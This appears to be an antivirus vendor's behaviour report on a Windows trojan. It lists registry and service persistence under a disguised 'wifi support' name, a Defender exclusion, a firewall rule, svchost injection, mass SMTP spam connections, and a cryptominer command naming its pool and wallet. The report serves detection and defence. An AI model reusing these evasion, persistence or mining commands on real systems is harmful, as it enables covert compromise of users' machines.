Trojan.Siggen18.46262

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\nmfnoeyd] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\nmfnoeyd] 'ImagePath' = '%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\nmfnoeyd] 'ImagePath' = '%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe'

Creates the following services

'nmfnoeyd' %WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d"<Full path to file>"
'nmfnoeyd' %WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nmfnoeyd' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\zxvtxbtu.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\zxvtxbtu.exe to %WINDIR%\syswow64\nmfnoeyd\zxvtxbtu.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx###.ziggo.nl':25
'mx#######703.gslb.pphosted.com':25
'ma##.#arriott.com':25
'52.##3.241.7':443
'mx.##stpost.net':25
'mx####.##il.gm0.yahoodns.net':25
'ka#####l.kanaweb.org':25
'mx.##lberta.ca':25
'10#.#8.139.44':443
'ma#####e2.viaero.com':25
'mx#.#eznam.cz':25
'10#.#8.138.44':443
'mt#.#1cn.com':25
'mx.###igroup.com':25
'mx#######d01.gslb.pphosted.com':25
'mx##.#lackberry.com':25
'ma##.dvusd.org':25
'mx##.mail.com':25
'ac#.###.1.arsmtp.com':25
'dn.#oris.ua':25
'mt##.##0.yahoodns.net':25
'pa####x.above.com':25
'mx###.comcast.net':25
'ho#########.olc.protection.outlook.com':25
'in###gram.com':443
'mx#.##elandnet.nl':25
'cu#######-1.in.mailcontrol.com':25
'mx.##mpatico.ca':25
'mx##.#ataplan.eu':25
'16#####.mxmail.netease.com':25
'my.##box.com':25
'ma##.#ailerhost.net':25
'mb##.tsc4.com':25
'as###.daum.net':25
'p.####om.ctmail.com':25
'xb###.secure.ne.jp':25
'mx#.#anmail.net':25
'mx###.##stedmxserver.com':25
'mx####.carrierzone.com':25
'mx#.#ate.com':25
'mx#######c05.gslb.pphosted.com':25
'cm######.org.1.0001.arsmtp.com':25
'mx.#####.#om.cust.b.hostedemail.com':25
'mx######90501.pphosted.com':25
'mx.###zta.onet.pl':25
'mx#######701.gslb.pphosted.com':25
'sm###.#ail.medcity.net':25
'ma###.#ailinator.com':25
'mx#######c01.gslb.pphosted.com':25
'mx#######b01.gslb.pphosted.com':25
'mx#######102.gslb.pphosted.com':25
'ma##.#bstudios.com':25
'mx#.####497.c3s2.iphmx.com':25
'aspmx.l.google.com':25
'alt1.aspmx.l.google.com':25
'mx#######302.gslb.pphosted.com':25
'cx#.##.#.cloudfilter.net':25
'go########lky.com.1.0001.arsmtp.com':25
'al######x-vip1.prodigy.net':25
'mx######5fd02.pphosted.com':25
'mx#######b02.gslb.pphosted.com':25
'mx.##a.untd.com':25
'mx##.#-online.de':25
'mx######91d01.pphosted.com':25
'ff######x-vip2.prodigy.net':25
'mx###.##tsol.xion.oxcs.net':25
'mx#.##ckeyecom.net':25
'mx#.###537-19.iphmx.com':25
'mx#######f01.gslb.pphosted.com':25
'mx##.###us-vadesecure.net':25
'mx#######802.gslb.pphosted.com':25
'mx#######e02.gslb.pphosted.com':25
'mx#######501.gslb.pphosted.com':25
'fa###ool.xyz':10060
'na#.###.#rotection.outlook.com':25
'ma##.#-email.net':25
'bt##rum.pl':25
'ma###.#ebsitesource.net':25
'mx##.##il.icloud.com':25
'mx#.###572-36.iphmx.com':25
'mx#######601.gslb.pphosted.com':25
'mx#######301.gslb.pphosted.com':25
'17#.#13.115.158':480
'sv####lfheim.top':443
'sm####.cfnmail.com':25
'mx#######901.gslb.pphosted.com':25
'ca########usfeld.com.1.arsmtp.com':25
'al######x-vip2.prodigy.net':25
'sa#.#bgteam.net':25
'so####1.sohu.com':25
'mx#.#harter.net':25
'ma##.#obohead.net':25
'mx##.#ail.citi.com':25
'mx#######a01.gslb.pphosted.com':25
'mx#######201.gslb.pphosted.com':25
'ff######x-vip1.prodigy.net':25
'mx.########e.prod.cloud.synchronoss.net':25
'mx#.#aver.com':25
'mx#.#ithi.com':25
'mx#######101.gslb.pphosted.com':25
'17#.#13.115.157':424
'google.com':80
'17#.#13.115.156':424
'80.#6.75.4':424
'17#.#13.115.155':424
'17#.#13.115.154':424
'17#.#13.115.153':424
'sm###.zianet.com':25
'mx#.###069-42.iphmx.com':25
'mx#######e01.gslb.pphosted.com':25
'mx.######mail.rediff.akadns.net':25
'r-####4.korea.com':25
'sm####.laposte.net':25
'gl##########mx.email-protect.gosecure.net':25
'mx#######005.gslb.pphosted.com':25
'12#####.mxmail.netease.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'pa####x.above.com':25
'mt##.##0.yahoodns.net':25
'ac#.###.1.arsmtp.com':25
'ma##.dvusd.org':25
'mt#.#1cn.com':25
'10#.#8.138.44':443
'mx#.#eznam.cz':25
'10#.#8.139.44':443
'mx####.##il.gm0.yahoodns.net':25
'mx.##stpost.net':25
'ma##.#arriott.com':25
'mx###.ziggo.nl':25
'52.##3.241.7':443
'mx#.##elandnet.nl':25
'cu#######-1.in.mailcontrol.com':25
'aspmx.l.google.com':25
'alt1.aspmx.l.google.com':25
'mx#.####497.c3s2.iphmx.com':25
'ma###.#ailinator.com':25
'cm######.org.1.0001.arsmtp.com':25
'mx.###zta.onet.pl':25
'ma##.#bstudios.com':25
'mx#######b01.gslb.pphosted.com':25
'mx####.carrierzone.com':25
'mx###.##stedmxserver.com':25
'mx#.#anmail.net':25
'xb###.secure.ne.jp':25
'p.####om.ctmail.com':25
'as###.daum.net':25
'in###gram.com':443
'my.##box.com':25
'ho#########.olc.protection.outlook.com':25
'al######x-vip1.prodigy.net':25
'17#.#13.115.158':480
'ma###.#ebsitesource.net':25
'na#.###.#rotection.outlook.com':25
'bt##rum.pl':25
'fa###ool.xyz':10060
'mx#.###572-36.iphmx.com':25
'ma##.#-email.net':25
'mx#.##ckeyecom.net':25
'ff######x-vip2.prodigy.net':25
'ca########usfeld.com.1.arsmtp.com':25
'al######x-vip2.prodigy.net':25
'gl##########mx.email-protect.gosecure.net':25
'mx.######mail.rediff.akadns.net':25
'mx#.###069-42.iphmx.com':25
'r-####4.korea.com':25
'sm###.zianet.com':25
'80.#6.75.4':424
'17#.#13.115.154':424
'17#.#13.115.155':424
'17#.#13.115.157':424
'sm####.laposte.net':25
'mx#######101.gslb.pphosted.com':25
'17#.#13.115.156':424
'mx#.#aver.com':25
'mx#.#ithi.com':25
'ff######x-vip1.prodigy.net':25
'17#.#13.115.153':424
'ma##.#obohead.net':25
'go########lky.com.1.0001.arsmtp.com':25
'sa#.#bgteam.net':25
'16#####.mxmail.netease.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK co###serve.com
DNS ASK ma###ott.com
DNS ASK ma##.#arriott.com
DNS ASK kp.org
DNS ASK mx#######703.gslb.pphosted.com
DNS ASK zi##o.nl
DNS ASK mx###.ziggo.nl
DNS ASK ze###ndnet.nl
DNS ASK mx#.##elandnet.nl
DNS ASK co###rse.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK mx#######102.gslb.pphosted.com
DNS ASK sy###tico.ca
DNS ASK ru####rs-group.com
DNS ASK mx##.#ataplan.eu
DNS ASK yk###oup.org
DNS ASK alt1.aspmx.l.google.com
DNS ASK ys###oni.com
DNS ASK aspmx.l.google.com
DNS ASK ya##io.com
DNS ASK wa##a.com
DNS ASK mx#.####497.c3s2.iphmx.com
DNS ASK ub###dios.com
DNS ASK ma##.#bstudios.com
DNS ASK we###ost.net
DNS ASK mx.##stpost.net
DNS ASK mx.##mpatico.ca
DNS ASK ch#####rapeutics.com
DNS ASK ka#####l.kanaweb.org
DNS ASK dn.#oris.ua
DNS ASK ac#.com
DNS ASK ac#.###.1.arsmtp.com
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK dv##d.org
DNS ASK ma##.dvusd.org
DNS ASK vi##o.com
DNS ASK mx##.#lackberry.com
DNS ASK bo######ringscharter.org
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK di###roup.com
DNS ASK mx.###igroup.com
DNS ASK 21##.com
DNS ASK mt#.#1cn.com
DNS ASK em##l.cz
DNS ASK mx#.#eznam.cz
DNS ASK ho##ial.com
DNS ASK vi##ro.com
DNS ASK ma#####e2.viaero.com
DNS ASK ua##erta.ca
DNS ASK mx.##lberta.ca
DNS ASK ka##web.org
DNS ASK cs.com
DNS ASK de##.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK mm#.com
DNS ASK su###ust.com
DNS ASK ha##ail.net
DNS ASK ti##jo.com
DNS ASK se##am.cz
DNS ASK ko###ukai.org
DNS ASK xb###.secure.ne.jp
DNS ASK ve####edgallery.com
DNS ASK p.####om.ctmail.com
DNS ASK pa##n.com
DNS ASK as###.daum.net
DNS ASK nc##e.org
DNS ASK tu##ine.com
DNS ASK un##rax.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK ts##.com
DNS ASK mc##.com
DNS ASK ma##.#ailerhost.net
DNS ASK gm##j.com
DNS ASK gt#.net
DNS ASK in##x.com
DNS ASK my.##box.com
DNS ASK 16#.com
DNS ASK 16#####.mxmail.netease.com
DNS ASK rh###chemie.com
DNS ASK mx#######302.gslb.pphosted.com
DNS ASK be###outh.com
DNS ASK mx###.##stedmxserver.com
DNS ASK mx#.#anmail.net
DNS ASK ol.com
DNS ASK ri#.com
DNS ASK ci##a.com
DNS ASK ma###nator.com
DNS ASK ma###.#ailinator.com
DNS ASK st###ids.com
DNS ASK sm###.#ail.medcity.net
DNS ASK wa###rbros.com
DNS ASK oh#.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK on#t.eu
DNS ASK mx.###zta.onet.pl
DNS ASK cm###ver.org
DNS ASK mt##.##0.yahoodns.net
DNS ASK cm######.org.1.0001.arsmtp.com
DNS ASK sk##.net
DNS ASK mx######90501.pphosted.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK hc##.com
DNS ASK ml.com
DNS ASK mx#######c05.gslb.pphosted.com
DNS ASK bo##.com
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK jc##w.com
DNS ASK ai##ail.net
DNS ASK mx####.carrierzone.com
DNS ASK ca#####eamhealth.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK ma###ity.com
DNS ASK fr###ier.com
DNS ASK pa####x.above.com
DNS ASK si###tel.com
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK pi###irst.com
DNS ASK mx#.###537-19.iphmx.com
DNS ASK be#.net
DNS ASK mx#.##ckeyecom.net
DNS ASK ea###link.com
DNS ASK sm##.net
DNS ASK mx###.##tsol.xion.oxcs.net
DNS ASK bu####eexpress.com
DNS ASK sw##ll.net
DNS ASK ff######x-vip2.prodigy.net
DNS ASK at#.com
DNS ASK mx######91d01.pphosted.com
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK ab##tt.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ju##.com
DNS ASK mx.##a.untd.com
DNS ASK co####wealth.com
DNS ASK sm####.cfnmail.com
DNS ASK co##tax.com
DNS ASK mx#######802.gslb.pphosted.com
DNS ASK me.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK us.##mura.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK mx##.##il.icloud.com
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK dr###homes.com
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK la##p.com
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK nf##gyn.com
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK mx#.###572-36.iphmx.com
DNS ASK mx######5fd02.pphosted.com
DNS ASK 12#.com
DNS ASK ma#.com
DNS ASK ma###.#ebsitesource.net
DNS ASK bt##rum.pl
DNS ASK gm##.com
DNS ASK ma##.#-email.net
DNS ASK we##v.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK fa###ool.xyz
DNS ASK cn#.com
DNS ASK mx#######e02.gslb.pphosted.com
DNS ASK am###trade.com
DNS ASK sv####lfheim.top
DNS ASK st#######ncreteoriginals.com
DNS ASK mb##.tsc4.com
DNS ASK so####county.com
DNS ASK be###outh.net
DNS ASK me###comm.com
DNS ASK ci###roup.com
DNS ASK ma##.#obohead.net
DNS ASK mx##.#ail.citi.com
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK so##.com
DNS ASK so####1.sohu.com
DNS ASK li#####villetownship.us
DNS ASK sa#.#bgteam.net
DNS ASK me##tar.net
DNS ASK al###ate.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK go####pitalky.com
DNS ASK go########lky.com.1.0001.arsmtp.com
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK in###gram.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK co##ast.net
DNS ASK mx###.comcast.net
DNS ASK ff######x-vip1.prodigy.net
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK gr###ill.com
DNS ASK at#.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK al######x-vip2.prodigy.net
DNS ASK ga#####lifestyle.com
DNS ASK gl##########mx.email-protect.gosecure.net
DNS ASK ko##a.com
DNS ASK r-####4.korea.com
DNS ASK la##ste.net
DNS ASK sm####.laposte.net
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK fi####orizon.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK ca#####lhausfeld.com
DNS ASK mx#.###069-42.iphmx.com
DNS ASK sm###.zianet.com
DNS ASK google.com
DNS ASK al####tenergy.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK pa###group.com
DNS ASK mx#.#ithi.com
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK op###line.net
DNS ASK mx.########e.prod.cloud.synchronoss.net
DNS ASK ca########usfeld.com.1.arsmtp.com
DNS ASK ve##zon.com
DNS ASK zi##et.com
DNS ASK 12#####.mxmail.netease.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\nmfnoeyd\zxvtxbtu.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmfnoeyd\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zxvtxbtu.exe" %WINDIR%\SysWOW64\nmfnoeyd\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create nmfnoeyd binPath= "%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description nmfnoeyd "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start nmfnoeyd' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmfnoeyd\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zxvtxbtu.exe" %WINDIR%\SysWOW64\nmfnoeyd\
'%WINDIR%\syswow64\sc.exe' create nmfnoeyd binPath= "%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description nmfnoeyd "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start nmfnoeyd
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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